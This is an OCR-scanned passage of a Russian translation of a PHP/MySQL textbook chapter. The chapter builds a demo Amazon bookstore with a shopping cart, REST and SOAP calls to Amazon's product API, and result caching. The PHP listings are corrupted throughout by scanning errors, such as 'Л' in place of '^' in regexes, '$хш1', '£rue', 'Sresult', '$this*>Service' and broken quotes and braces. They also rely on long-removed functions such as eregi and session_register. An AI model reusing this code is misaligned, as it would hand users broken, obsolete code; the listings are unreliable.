Теперь необходимо привести в порядок любые входные данные, полученные как через поле поиска, так и посредством методов GET или POST: // Проверка/уречение ввода if(!eregi('Л[A-Z0-9]+$', $ASIN) ) { // номера ASIN должны быть алфавитно-цифровыми $ASIN =” ; } if(!eregi('Л[a-z]+$', $mode)) { / / режим должен быть алфавитным $mode = ’Books'; } $page=intval($page); // значения page и browseNode должны быть целочисленными $browseNode = intval($browseNode); // Это может вызывать определенное недоумение, но мы отбрасываем некоторые // символы из значения $search, поскольку нам представляется уместным // изменить его на данном этапе, так как оно будет отображаться в заголовке $search = safeString($search) ; Здесь нет ничего нового. Функция safeString () находится в файле utilityfunctions .php. С помощью ре- гулярного выражения она просто удаляет из входной строки любые символы, отлич- ные от алфавитно-цифровых. Поскольку эта тема была освещена ранее, мы не будем останавливаться на ней в настоящей главе. Основная причина проверки допустимости ввода связана с использованием вводи- мой пользователем информации для формирования имЕен файлов в кэше. Если разре- шить клиентам вводить такие символы, как . . или /, это может привести к серьезным проблемам. < Теперь необходимо создать покупательскую тележку клиента, если он еще ее не имеет: if(!isset($_SESSION['cart'])) { session_register('cart'); $_SESSION['cart'] = array (); } Прежде чем можно будет отобразить информацию в верхней информационной строке страницы (см. рис. 33.1), нужно выполнить еще несколько задач. Эскиз покупа- тельской тележки отображается в верхней строке каждой страницы. Поэтому важно, чтобы значение переменной тележки было актуальным на момент вывода этой ин- формации: // Задачи, которые должны быть выполнены до отображения верхней строки if($action== 'addtocart') { addToCart($_SESSION['cart'], $ASIN, $mode); } if($action== 'deletefromcart') { deleteFromCart($_SESSION['cart'], $ASIN); } if($action == 'emptycart') { $_SESSION['cart'] = array(); } В приведенном фрагменте кода мы по мере необходимости добавляем или удаля- ем элементы из тележки перед ее отображением. Мы вернемся к этим функциям при Глава 33. Подключение к веб-службам с помощью XML и SOAP 761
рассмотрении покупательской тележки и оплаты заказа. Если же вы желаете ознако- миться с ними немедленно, то эти функции определены в файле cartfunctions .php. Пока стоит отложить их анализ, поскольку вначале необходимо разобраться в работе интерфейса сайта Amazon. Затем мы включаем файл topbar. php. Этот файл содержит лишь HTML-код, таб- лицу стилей и единственный вызов функции ShowSmallCart () (которая определена в файле cartfunctions .php). Сценарий topbar .php отображает краткое содержимое тележки в верхнем правом углу страниц. Мы вернемся к нему при рассмотрении функ- ции покупательской тележки. Наконец, мы подошли к рассмотрению главного цикла обработки событий. Краткое описание возможных действий представлено в табл. 33.2. Как видите, первые четыре действия, приведенные в этой таблице, связаны с полу- чением информации с сайта Amazon и ее отображением. Следующие четыре действия связаны с управлением содержимым покупательской тележки. Все действия, связанные с получением данных с сайта Amazon, выполняются ана- логично. В качестве примера рассмотрим получение сведений о книгах конкретного . browsenode (категории). Таблица 33.2. Возможные действия главного цикла обработки событий Действие Описание browsenode Отображает книги указанной категории. Это действие выполняется по умолчанию. detail Отображает сведения об одной конкретной книге. image Отображает увеличенную версию изображения обложки книги. search Отображает результаты поиска, выполненного пользователем. * addtocart Добавляет элемент в покупательскую тележку. deletefromcart Удаляет элемент из покупательской тележки. emptycart Полностью опустошает покупательскую тележку. showcart .Отображает содержимое тележки. Отображение книг конкретной категории При активизации действия browsenode (просмотр категории) выполняется сле- дующий код; showCategories($mode); $category = getCategoryName($browseNode); if(!$category || ($category==’Best Selling Books')) { echo "<hl>Current Best Sellers</hl>"; } else { echo "<hl>Current Best Sellers in ".$category."</hl>"; } showBrowseNode($browseNode, $page, $mode) ; Функция showCategories () выводит список избранных категорий, который ви- ден в верхней части большинства страниц. Функция getCategoryName () возвращает имя выбранной категории, заданной ее номером browsenode. Функция showBrowseNode () отображает страницу книг этой категории. Давайте рассмотрим функцию showCategories (). Ее код показан в листинге 33.5. 762 Часть V. Реальные проекты на РНР и MySQL
Листинг 33.5. Функция showcategories () из библиотеки categoryfunctions .php — выводит список категорий // Выводит начальный список популярных категорий function showCategories($mode) { global $categoryList; echo "<hr/xh2>Selected Categories</h2>"; if($mode == 'Books') { asort($categoryList); / $categories = count($categoryList); $columns =4; $rows = ceil($categories/$columns); echo "<table border=\"0\" cellpadding=\"O\” cellspacing=\"O\" width=\"100%\"Xtr>"; reset($categoryList); for($col = 0; $col<$columns; $col++) { echo "<td width=\"". (100/$columns) . valign=\"top\"xul>"; for($row = 0; $row<$rows; $row++) { $category = each($categoryList); if($category) { $browseNode = $category['key*]; $name = $category['value']; echo "<lixspan class=\"category\"> <a href=\"index.php?action=browsenode&browsfeNode=” . $browseNode. "\«>" . $name. "</ax/span></li>"; } } echo "</ulx/td>"; } echo "</trx/tablexhr/>"; } Эта функция использует массив categoryList, объявленный в файле constants .php, для преобразования номеров browsenode в имена категорий. Нужные номера browsenode просто жестко закодированы в этом массиве. Функция сортирует массив и отображает различные категории. Следующая вызываемая в главном цикле обработки событий функция getCategory Name () ищет интересующий пользователя номер browsenode, чтобы на экране можно было отобразить заголовок вроде Current Best Sellers in Business & Investing (Текущие бестселлеры категории “Бизнес и инвестиции”). Поиск выполняется все в том же мас- сиве categoryList. Самое интересное начинается, когда дело доходит до функции showB rows eNode (), код которой можно видеть в листинге 33.6. Листинг 33.6. Функция showBrowseNode () из библиотеки bookdisplayfunctions.php — список категорий // Отображение страницы товаров для конкретного узла просмотра function showBrowseNode($browseNode, $page, $mode) { $ars = getARS('browse', array('browsenode'=>$browseNode, 'page' => $page, 'mode'=>$mode)); showSummary($ars->products (), $page, $ars->totalResults(), $mode, $browseNode); Глава 33. Подключение к веб-службам с помощью XML и SOAP 763
Функция showBrowseNode () выполняет два действия. Сначала она вызывает функ- цию getARS () из файла cachefunctions .php. Эта функция извлекает и возвращает объект AmazonResultSet (подробнее он будет рассмотрен чуть позже). Затем она вы- зывает функцию showSummary () из файла bookdisplayfunctions .php, чтобы отобра- зить полученную информацию. Функция getARS () играет главную роль в работе всего приложения. Если просмот- реть код остальных действий — просмотра сведений, изображений и выполнения по- иска, — легко убедиться, что все они обращаются к этой функции. Извлечение класса AmazonResultSet Рассмотрим функцию getARS () более подробно. Ее код показан в листинге 33.7. Листинг 33.7. Функция getARS () из библиотеки cachefunctions .php — результирующий набор запроса // Извлечение объекта AmazonResultSet из кэша или непосредственно из запроса. // Если объект получен непосредственно из запроса, его нужно добавить в кэш 'function getARS($type, $parameters) { $cache = cached($type, $parameters); if ($cache) { // если найдено в кэше return $cache; } else { $ars = new AmazonResultSet; if($type== ’asin’) { $ars->ASINSearch(padASIN($parameters['asin']), $parameters['mode']); } if($type == ’browse’) { $ars->browseNodeSearch($parameters['browsenode’], $parameters['page'], $parameters['mode']); } if($type == 'search') { $ars->keywordSearch($parameters['search'], $parameters['page'], $parameters['mode']); } cache($type, $parameters, $ars); } return $ars; } Эта функция предназначена для управления процессом получения данных с сайта Amazon. Она может это делать двумя способами: либо из кэша, либо непосредственно с сайта Amazon. Поскольку Amazon требует, чтобы разработчики кэшировали загру- женные данные, вначале функция ищет данные в кэше. Вскоре мы его рассмотрим. Если конкретный запрос еще не выполнялся, данные должны быть загружены не- посредственно с сайта Amazon. Это выполняется путем создания экземпляра класса AmazonResultSet и вызова применительно к нему метода, соответствующего конкрет- ному запросу, который нужно выполнить. Тип запроса определяется параметром $type. В приведенном примере выполнения поиска категории (узла просмотра) в качестве зна- чения этого параметра было передано значение browse (см. листинг 33.6). Чтобы вы- полнить запрос по конкретной книге, в качестве значения этого параметра необходимо передать asin, а чтобы выполнить поиск по ключевому слову — значение search. 764 Часть V. Реальные проекты на РНР и MySQL
Каждый из этих параметров приводит к вызову своего метода класса AmazonResultSet. Поиск отдельного элемента вызывает метод ASINSearch (). Поиск категории обращается к методу browseNodeSearch (), а поиск по ключевому слову — к методу keywordsearch (). Рассмотрим класс AmazonResultSet более подробно. Полный код этого класса по- казан в листинге 33.8. Листинг 33.8. AmazonResultSet .php — класс, предназначенный для обработки соединений с сайтом Amazon <?php // Используя набор констант из файла constants.php, // можно переключаться между методами REST и SOAP if (METHOD==’SOAP’ ) { include_once('nusoap/lib/nusoap.php'); } // Этот класс -хранит результаты запросов // Как правило, это от 1 до 10 экземпляров класса Product class AmazonResultSet { private $browseNode; private $page; private $mode; private $url; private $type; private $totalResults; private $currentProduct = null; private $pyoducts = array(); // массив объектов Product function products () { return $this->products; } function totalResults () { return $this->totalResults; } function getProduct($i) { if(isset($this->products[$i])) { return $this->products[$i]; } else { return false; } } // Выдача запроса для получения страницы со списком товаров узла просмотра. // Переключение между методами XML/HTTP и SOAP в файле constants.php. // Возвращает массив объектов Product function browseNodeSearch($browseNode, $page, $mode) { $this->Service = "AWSECommerceService"; $this->Operation = "Itemsearch"; $this->AWSAccessKeyId = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->BrowseNode = $browseNode; $this->ResponseGroup = "Large"; $this->SearchIndex= $mode; Глава 33. Подключение к веб-службам с помощью XML и SOAP 765
$this->Sort= 'salesrank’; $this->TotalPages= $page; if(METHOD=='SOAP') { $soapclient = new nusoap_client( 'http://ecs.amazonaws.com/AWSECommerceService/AWSECommerceService.wsdl', 'wsdl'); $soap_proxy = $soapclient->getProxy(); $request = array ('Service* => $this->Service, ’Operation’ -> $this->Operation, ’BrowseNode’ => $this->BrowseNode, 'ResponseGroup' => $this->ResponseGroup, ’Searchindex’ => $this->SearchIndex, 'Sort' => $this->Sort, 'TotalPages' => $this->TotalPages); $parameters = array('AWSAccessKeyld' => DEVTAG, 'AssociateTag' => ASSOCIATEID, 'Request'=>array($request)); // Действительное выполнение запроса soap $result = $soap_proxy->ItemSearch($parameters); if(isSOAPError($result)) { return false; } $this->totalResults = $result['TotalResults']; foreach($result['Items']['Item'] as $product) { $this->products[] = new Product($product); } unset($soapclient); unset($soap_proxy); } else { * / / Формирование URL-адреса и вызов функции // parseXML для его загрузки и анализа $this->url = "http://ecs.amazonaws.com/onca/xml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyId=".$this->AWSAccessKeyId. "&BrowseNode=".$this->BrowseNode. "&ResponseGroup=".$this->ResponseGroup. "&SearchIndex=".$this->SearchIndex. "&Sort=".$this->Sort. "&TotalPages=".$this->TotalPages; $this->parseXML(); } return $this->products; } // Извлечение URL-адреса большого изображения // для указанного идентификатора ASIN. // Возвращает строку 766 Часть V. Реальные проекты на РНР и MySQL
function getlmageUrlLarge($ASIN, $mode) { foreach($this->products as $product) { if($product->ASIN()== $ASIN) { return $product->imageURLLarge(); } // Если не найден $this->ASINSearch($ASIN, $mode); return $this->products(0)->imageURLLarge(); } // Выполнение запроса для извлечения товаров с указанным ASIN. // Переключение между режимами XML/HTTP и SOAP в файле constants.php. // Возвращает объект Product function ASINSearch($ASIN, $mode = 'books') { $this->type = 'ASIN'; $this->ASIN=$ASIN; $this->mode = $mode; $ASIN = padASIN($ASIN); $this->Service = "AWSECommerceService"; $this->Operation = "ItemLookup"; $this->AWSAccessKeyId = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->ResponseGroup = "Large"; $this->IdType = "ASIN"; $this->ltemld = $ASIN; if(METHOD=='SOAP') { $soapclient = new nusoap_client( 'http://ecs.amazonaws.com/AWSECommerceService/AWSECommerceService.wsdl', 'wsdl'); $soap_proxy = $soapclient->getProxy(); $request = array ('Service' => $this*>Service, 'Operation' => $this->Operation, 'ResponseGroup' => $this->ResponseGroup, 'IdType' => $this->IdType, 'Itemld' => $this->ltemld); $parameters = array('AWSAccessKeyld' => DEVTAG, 'AssociateTag' => ASSOCIATEID, 'Request'=>array($request)); // Действительное выполнение запроса soap $result = $soap_proxy->ItemLookup($parameters); if(isSOAPError($result)) { return false; } $this->products[0] = new Product($result['Items'][’Item']); $this->totalResults=l; unset($soapclient); unset($soap_proxy); } else { // Формирование URL-адреса и вызов функции parseXML // для его загрузки и анализа Глава 33. Подключение к веб-службам с помощью XML и SOAP 767
$this->url = "http://ecs.amazonaws.com/onca/xml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyId=".$this->AWSAccessKeyId. "&ResponseGroup=".$this->ResponseGroup. "&IdType=".$this->IdType. "&ltemld=".$this->ltemld; $this->parseXML(); } return $this->products[0] ; } // Выполнение запроса для получения страницы с результатами поиска //по ключевому слову. // Переключение между режимами XML/HTTP и SOAP в файле index.php. // Возвращает массив объектов Products function keywordsearch($search, $page, $mode = 'Books') { $this->Service = "AWSECommerceService"; $this->Operation = "ItemSearch"; $this->AWSAccessKeyId = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->ResponseGroup = "Large"; $this->Search!ndex= $mode; $this->Keywords= $search; i f(METHOD=='SOAP') { $soapclient = new nusoap_client( 'http://ecs.amazonaws.com/AWSECommerceService/AWSECommerceService.wsdl', 'wsdl'); $soap_proxy = $soapclient->getProxy(); $reguest = array ('Service' => $this->Service, 'Operation' => $this->Operation, 'ResponseGroup' => $this->ResponseGroup, 'Searchindex' => $this->SearchIndex, 'Keywords' => $this->Keywords); $parameters = array('AWSAccessKeyld' => DEVTAG, 'AssociateTag' => ASSOCIATEID, 'Request'=>array($request)); // Действительное выполнение запроса soap $result = $soap_proxy->ItemSearch($parameters); if (isSOAPError($result)) { return false; } $this->totalResults = $result['TotalResults']; foreach($result[’Items']['Item'] as $product) { $this->products[] = new Product($product); } unset($soapclient); unset($soap_proxy); } else { 768 Часть V. Реальные проекты на РНР и MySQL
$this->url = "http://ecs.amazonaws.com/onca/xml?". "Service=".$this->Service. "&0peration=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyId=".$this->AWSAccessKey!d. "&ResponseGroup=".$this->ResponseGroup. "&SearchIndex=".$this->Search!ndex. "&Keywords=".$this->Keywords; $this->parseXML(); } return $this->products; } // Синтаксический разбор XML-кода с помещением результата в объект(ы) Product function parseXML() { // Подавление ошибок, поскольку здесь иногда случаются сбои $xml = @simplexml_load_file($this->url); if(!$xml) { // Повторная попытка на случай, если сервер занят $хш1 = @simplexml_load_file($this->url); if(!$xml) { return false; } $this->totalResults = (integer)$xml->TotalResults; foreach ($ xml-> I terns-> Item as $productXML) { $this->products[] = new Product($productXML); } } } ?> Этот полезный класс выполняет именно те действия, для выполнения которых и предназначены классы. Он служит своего рода “черным ящиком” для интерфейса к сайту Amazon. Внутри класса подключение к сайту Amazon может выполняться с ис- пользованием REST или SOAP. Применяемый метод определяется глобальной кон- стантой METHOD, устанавливаемой в файле constants .php. Рассмотрение кода класса производится на примере поиска категории. Класс AmazonResultSet используется следующим образом: $ars = new AmazonResultSet; $ars->browseNodeSearch($parameters[’browsenode’], $parameters[’page’], •$parameters[’mode’]); Этот класс не имеет конструктора, поэтому можно сразу переходить к методу browseNodeSearch (). Мы передаем ему три параметра: интересующий нас номер browsenode (который соответствует, например, категории “Business & Investing” (“Бизнес и инвестиции”) или “Computers & Internet” (“Компьютеры и Интернет”)), номер страницы, представляющей записи, которые желательно извлечь, и режим, ко- торый представляет интересующий нас тип товара. Фрагмент кода этого метода пока- зан в листинге 33.9. Глава 33. Подключение к веб-службам с помощью XML и SOAP 769
Листинг 33.9. Метод browseNodeSearch () — выполнение поиска категории // Выполняет запрос для извлечения страницы всех товаров из узла просмотра. // Переключение между методами XML/HTTP и SOAP в файле constants.php. // Возвращает массив объектов Product function browseNodeSearch($browseNode, $page, $mode) { $this->Service = "AWSECommerceService"; $this->Operation = "ItemSearch"; $this->AWSAccessKey!d = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->BrowseNode = $browseNode; $this->ResponseGroup = "Large"; $this->SearchIndex = $mode; $this->Sort = "salesrank"; $this->TotalPages = $page; if(METHOD=='SOAP') { $soapclient = new nusoap_client( 'http://ecs.amazonaws.com/AWSECommerceService/AWSECommerceService.wsdl*, 'wsdl'); $soap_proxy = $soapclient->getProxy() ; $reguest = array ('Service' => $this->Service, 'Operation' => $this->Operation, 'BrowseNode' => $this->BrowseNode, 'ResponseGroup' => $this->ResponseGroup, 'Searchindex' => $this->SearchIndex, 'Sort' => $this->Sort; 'TotalPages' => $this->TotalPages); $parameters = array('AWSAccessKeyld' => DEVTAG, 'AssociateTag' => ASSOCIATEID, 'Request'=> array($request)); $result = $soap_proxy->ItemSearch($parameters); if (isSOAPError($result) ) { return false; } . $this->totalResults = $result['TotalResults']; foreach($result['Items']['Item'] as $product) { $this->products[] = new Product($product); } unset ($soapclient); unset($soap_proxy); } else { //Формирование URL-адреса и вызов функции parseXML для его загрузки и анализа $this->url = "http://ecs.amazonaws.com/onca/xml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyId=".$this->AWSAccessKeyId. "&BrowseNode=".$this->BrowseNode. "&ResponseGroup=".$this->ResponseGroup. "&SearchIndex=".$this->SearchIndex. "&Sort=".$this->Sort. "&TotalPages=".$this->TotalPages; $this->parseXML(); } return $this->products; 770 Часть V. Реальные проекты на РНР и MySQL
В зависимости от значения константы METHOD этот метод выполняет запрос с ис- пользованием REST или SOAP. Рассмотрим последовательно оба варианта. Однако ин- формация, отправленная в обоих запросах, остается одной и той же. В начале функ- ции находятся следующий строки кода, которые представляют переменные запроса и их значения: $this->Service = "AWSECommerceService"; $this->Operation = "Itemsearch"; $this->AWSAccessKeyId = DEVTAG; $this->AssociateTag = ASSOCIATEID; $this->BrowseNode = $browseNode; $this->ResponseGroup = "Large"; $this->SearchIndex = $mode; $this->Sort = "salesrank"; $this->TotalPages .= $page; Некоторые из этих значений устанавливаются в других частях приложения, напри- мер, значения $browseNode, $mode и $page. Другие значения представлены констан- тами, наподобие. DEVTAG и ASSOCIATEID. Третьи, такие как $this->Service, $this-> Operation и $this->Sort, в данной реализации являются статическими. Минимальный набор необходимых переменных различается в зависимости от типа запроса; приведенный выше пример используется для просмотра отдельного узла, отсортированного по уровню продаж. Переменные для просмотра специфиче- ского товара и поиска по ключевому слову разные. Списки переменных можно видеть в начале функций browseNodeSearch (), ASINSearch () и keywordsearch (), код кото- рых находится в файле AmazonResultSet .php. Детальную информацию по обязатель- ным переменным для всех типов запросов можно найти в руководстве разработчика AWS (AWS Developer’s Guide). Далее мы рассмотрим создание запроса в функции browseNodeSearch () для методов REST и SOAP. Концептуально форматы создания запросов в функциях ASINSearch() и keywordsearch() подобны.. Использование REST для выдачи запроса и извлечения результата Имея набор переменных-членов класса, значения которых установлены в начале функции browseNodeSearch () (либо ASINSearch () или keywordsearch ()), все, что остается для использования REST/XML через HTTP — это сформатировать и отпра- вить URL-адрес: $this->url = "http://ecs.amazonaws.com/onca/xml?". "Service=".$this->Service. "&Operation=".$this->Operation. "&AssociateTag=".$this->AssociateTag. "&AWSAccessKeyId=".$this->AWSAccesskeyId. "&BrowseNode=".$this->BrowseNode. "&ResponseGroup=".$this->ResponseGroup. "&SearchIndex=".$this->SearchIndex. "&Sort=".$this->Sort. "&TotalPages=".$this->TotalPages; Базовым URL в этом случае является http: //ecs. amazonaws.com/onca/xml. Для формирования строки GET-запроса понадобится добавить к нему имена переменных Глава 33. Подключение к веб-службам с помощью XML и SOAP 771
вместе с их значениями. Полная документация представлена в руководстве разработ- чика AWS (AWS Developer’s Guide). После того, как все эти параметры определены, мы вызываем метод $this->parseXML() ; чтобы в действительности выполнить разбор XML-документа. Код метода parseXML () показан в листинге 33.10. Листинг 33.10. Метод parseXML () — разбор ХМ L-доку мента, возвращенного в результате запроса // Анализ XML-документа с помещением результата в объект(ы) Product function parseXML() { // Подавление ошибок, поскольку здесь иногда случаются сбои $xml = @simplexml_load_file($this->url); if(!$xml) { // Повторная попытка на случай, если сервер занят $xml = @simplexml_load_file($this->url); if(!$xml) { return false; } } $this->totalResults = (integer)$xml->TotalResults; foreach($xml->Items->Item as $productXML) { $this->products[] = new Product($productXML); } } Функция simplexml load file () выполняет большую часть необходимых дейст- вий. Она считывает XML-содержимое из файла или, как в данном случае — из URL- адреса. Функция предоставляет объектно-ориентированный интерфейс доступа к данным и структурам, хранящимся в XML-документе. Этот интерфейс доступа к дан- ным весьма полезен, но поскольку нам требуется, чтобы с данными, поступающими с помощью REST или SOAP, работал только один набор функций интерфейса, можно построить собственный объектно-ориентированный интерфейс доступа к тем же дан- ным в экземплярах класса Product. Обратите внимание, что в REST-версии атрибуты, полученные из XML-документа, преобразуются в переменные РНР соответствующих типов. В РНР операция cast не применяется, но если ее не использовать в данном случае, метод извлек бы объектные представления всех элементов данных, в том чис- ле и тех, которые не слишком нужны. Класс Product содержит в основном функции доступа к данным, хранящимся в его приватных членах, поэтому приведение всего файла не имеет особого смысла. Однако целесообразно рассмотреть структуру класса и его конструктор. Часть определения класса Product показана в листинге 33.11. Листинг 33.11. Класс Product содержит полученную информацию о товаре, предлагаемом сайтом Amazon class Product { private $ASIN; private $productName; private $releaseDate; private $manufacturer; 772 Часть V. Реальные проекты на РНР и MySQL
private $imageUrlMedium; private $imageUrlLarge; private $listPrice; private $ourPrice; private $salesRank; private $availability; private $avgCustomerlCating; private $authors = array(); private $reviews = array (); private $similarProducts = array(); private $soap; // массив, возвращаемый вызовами SOAP function __construct ($xml) { if(METHOD=='SOAP') { $this->ASIN = $xml['ASIN']; $this->productName = $xml['ItemAttributes'] [’Titl^']; if (is_array($xml['ItemAttributes']['Author’]) 1= "") { foreach($xml['ItemAttributes']['Author'] as $author) { $this->authors[] = $author; } } else { $this->authors[] = $xml['ItemAttributes']['Author']; } $this->releaseDate = $xml['ItemAttributes']['PublicationDate']; $this->manufacturer = $xml['ItemAttributes']['Manufacturer']; $this->imageUrlMedium = $xml['Mediumimage']['URL']; $this->imageUrlLarge = $xml['Largelmage']['URL']; $this->listPrice = e $xml['ItemAttributes']['ListPrice']['FormattedPrice']; $this->listPrice = str_replace('$', '', $this->listPrice); $this->listPrice = str_replace(',', '', $this->listPrice); $this->listPrice = floatval($this->listPrice); $this->ourPrice = $xml['OfferSummary']['LowestNewPrice']['FormattedPrice']; $this->ourPrice = str_replace('$', '', $this->ourPrice); $this->ourPrice = str_replace(',', '', $this->ourPrice); $this->ourPrice = floatval($this->ourPrice); $this->salesRank = $xml['SalesRank']; $this->availability = $xml['Offers']['Offer']['OfferListing']['Availability']; $this->avgCustomerRating = $xml['CustomerReviews']['AverageRating']; $reviewCount = 0; if (is_array($xml['CustomerReviews']['Review'])) { foreach($xml['CustomerReviews']['Review'] as $review) { $this->reviews[$reviewCount]['Rating'] = $review['Rating']; $this->reviews[$reviewCount]['Summary'] = $review['Summary']; $this->reviews[$reviewCount]['Content'] = $review['Content']; $reviewCount++; } } $similarProductCount - 0; if (is_array($xml['SimilarProducts']['SimilarProduct']) ) { foreach($xml['SimilarProducts']['SimilarProduct'] as $similar) { $this->similarProducts[$similarProductCount]['Title'] = $similar['Title']; Глава 33. Подключение к веб-службам с помощью XML и SOAP 773
$this->similarProducts[$similarProductCount][’ASIN’] = $review[’ASIN’]; $similarProductCount++; } } } else { // использование метода REST $this->ASIN = (string)$xml->ASIN; $this->productName = (string)$xml->ItemAttributes->Title; if($xml->ItemAttributes->Author) { foreach($xml->ItemAttributes->Author as $author) { $this->authors[] = (string)$author; } } $this->releaseDate = (string)$xml->ItemAttributes->PublicationDate; $this->manufacturer = (string)$xml->ItemAttributes->Manufacturer; $this->imageUrlMedium = (string)$xml->MediumImage->URL; $this->imageUrlLarge = (string)$xml->LargeImage->URL; $this->listPrice = (string)$xml->ItemAttributes->ListPrice->FormattedPrice; $this->listPrice = str_replace (’$’, ’’, $this->listPrice); $this->listPrice = str_replace(',’, ’’, $this->listPrice); $this->listPrice = floatval($this->listPrice); $this->ourPrice = (string)$xml->OfferSummary->LowestNewPrice->FormattedPrice; $this->ourPrice = str_replace('$', ’’, $this->ourPrice); $this->ourPrice = str_replace(’, ', ’’, $this->ourPrice); $this->ourPrice = floatval($this->ourPrice); $this->salesRank = (string)$xml->SalesRank; $this->availability = (string)$xml->Offers->Offer->OfferListing->Availability; $this->avgCustomerRating = (float)$xml->CustomerReviews->AverageRating; $reviewCount = 0; if($xml->CustomerReviews->Review) { foreach ($xml->CustomerReviews->Review as $review) { $this->reviews[$reviewCount}[’Rating’] = (float)$review->Rating; $this->reviews[$reviewCount][’Summary'] = (string)$review->Summary; $this->reviews[$reviewCount][’Content’] = (string)$review->Content; $reviewCount++; } } $similarProductCount = 0; if($xml->SimilarProducts->SimilarProduct) { foreach ($xml->SimilarProducts->SimilarProduct as $similar) { $this->similarProducts[$similarProductCount][’Title’] = (string)$similar->Title; $this->similarProducts[$similarProductCount][’ASIN’] = (string)$similar->ASIN; $similarProductCount++; } } 774 Часть V. Реальные проекты на РНР и MySQL
// Большинство методов в этом классе подобны друг другу //и просто возвращают приватную переменную function similarProductCount () { return count($this->similarProducts); } function similarProduct ($i) { return $this->similarProducts[$i]; } function customerReviewCount () { return count($this->reviews); } function customerReviewRating($i) { return $this->reviews[$i][’Rating’]; } function customerReviewSummary($i) { return $this~>reviews[$i][’Summary*]; } function customerReviewComment($i) { return $this->reviews[$i][’Content’]; } function valid() { if(isset($this->productName) && ($this->ourPrice>0.001) && isset ($this->ASIN)) { return £rue; } else { return false; } function ASIN() { return padASIN($this->ASIN) ; } function imageURLMedium() { return $this->imageUrlMedium; } function imageURLLarge() { return $this->imageUrlLarge; } function productName() { return $this->productName; } function ourPriceO { return number_format($this->ourPrice,2, ’ . ’ r ’ *); } function listPrice() { . return numbereformat($this->listPrice,2, * . *, ’ *); } Глава 33. Подключение к веб-службам с помощью XML и SOAP 775
function authors () { if(isset($this->authors)) { return $this->authors; } else { return false; } function releaseDate () { if(isset($this->releaseDate)) { return $this->releaseDate; } else { return false; } function avgCustomerRating() { if(isset($this->avgCustomerRating)) { return $this->avgCustomerRating; } else { return false; } function manufacturer() { if(isset($this->manufacturer)) { return $this->manufacturer; } else { return false; } function salesRankO { if(isset($this->salesRank)) { return $this->salesRank; } else { return false; } function availability() { if(isset($this->availability)) { return $this->availability; } else { return false; } Рассматриваемый конструктор также принимает две различные формы входных данных и создает один интерфейс приложения. Обратите внимание, что хотя часть обрабатывающего кода можно было бы сделать более общей, некоторые “экзотиче- ские” атрибуты, такие как отзывы (reviews), имеют различные имена в зависимости от используемого метода. 776 Часть V. Реальные проекты на РНР и MySQL
По завершении всей обработки, связанной с извлечением данных, управление снова передается функции getARS () и, следовательно, методу showBrowseNode (). Следующий шаг состоит в вызове функции: showSummary($ars->products(), Spage, $ars->totalResults() , Smode, SbrowseNode); Функция showSummary () просто отображает данные класса AmazonResultSet, как это было описано, начиная с рис. 33.1. Поэтому код ее здесь не рассматривается. Использование метода SOAP Вернемся назад и рассмотрим SOAP-версию функции browseNodeSearch (). Ниже этот фрагмент кода показан еще раз: Ssoapclient = new nusoap_client( 'http://ecs.amazonaws.com/AWSECommerceService/AWSECommerceService.wsdl’, 'wsdl'); $soap_proxy = $soapclient->getProxy(); $request = array (’Service' => $this->Service, 'Operation' => $this->Operation, 'BrowseNode' => $this->BfowseNode, 'ResponseGroup' => $this->ResponseGroup, 'Searchindex' => $this->SearchIndex, 'Sort' => $this->Sort, 'TotalPages' => $this->TotalPages); Sparameters = array('AWSAccessKeyld' => DEVTAG, 'AssociateTag' => ASSOCIATEID, 'Request'=>array($request)); // Действительное выполнение запроса soap Sresult = $soap_proxy->ItemSearch(Sparameters); if(isSOAPError(Sresult)) { return false; } $this->totalResults = Sresult['TotalResults']; foreach(Sresult['Items']['Item'] as Sproduct) { $this->products[] = new Product(Sproduct); } unset(Ssoapclient); unset($soap_proxy); Эта версия не использует никаких дополнительных функций; клиент SOAP выпол- няет все необходимые действия. Работа функции начинается с создания клиента SOAP: Ssoapclient = new nusoap_client( 'http://ecs.amazonaws.com/AWSECommerceService/AWSECommerceService.wsdl', 'wsdl'); Глава 33. Подключение к веб-службам с помощью XML и SOAP 777
В данном случае мы передаем клиенту два параметра. Первый — WSDL-описание службы, а второй параметр сообщает клиенту SOAP, что это — URL-адрес WSDL. Можно было бы также передать только один параметр: конечный пункт службы, яв- ляющийся непосредственным URL-адресом сервера SOAP. Данный подход был выбран по веской причине, которая становится понятной из следующей строки кода: $soap_proxy = $soapclient->getProxy(); Эта строка создает класс в соответствии с информацией, хранящейся в WSDL-доку- менте. Эгот класс, SOAP-прокси, будет содержать методы, которые соответствуют мето- дам веб-службы. В результате задача программиста существенно упрощается. Теперь с веб- службой можно взаимодействовать так, как если бы она была локальным классом РНР. Затем мы определяем массив параметров, которые нужно передать запросу browsenode: $request = array ('Service' => $this->Service, 'Operation' => $this->Operation, 'BrowseNode' => $this->BrowseNode, 'ResponseGroup' => $this->ResponseGroup, 'Searchindex' => $this->SearchIndex, 'Sort' => $this->Sort, 'TotalPages' => $this->TotalPages); Осталось передать запросу еще два элемента: AWSAccessKeylD и AssociateTag. Эти элементы, а также массив $ request, помещаются в другой массив — $parameters: $parameters = array('AWSAccessKeyId' => DEVTAG, 'AssociateTag' => ASSOCIATEID, 'Request'=>array($request)); Использование класса proxy позволяет просто вызывать методы веб-службы, пере- давая им массив параметров: $result = $soap_proxy->ItemSearch($parameters); Данные, сохраненные в переменной $ result, представляют собой массив, кото- рый можно хранить в массиве products класса AmazonResultSet непосредственно как объект Product. Кэширование данных запроса Теперь вернемся к функции getARS () и реализуем кэширование. Как вы, вероят- но, помните, эта функция выглядит следующим образом: // Извлечение объекта AmazonResultSet из кэша или непосредственно из запроса. // Если объект получен непосредственно из запроса, его нужно добавить в кэш function getARS (,$type, $parameters) { $cache = cached($type, $parameters); ' if ($cache) { // если найдено в кэше return $cache; } else { $ars = new AmazonResultSet; if($type== 'asin') { $ars->ASINSearch(padASIN($parameters['asin']), $parameters['mode']); } 778 Часть V. Реальные проекты на РНР и MySQL
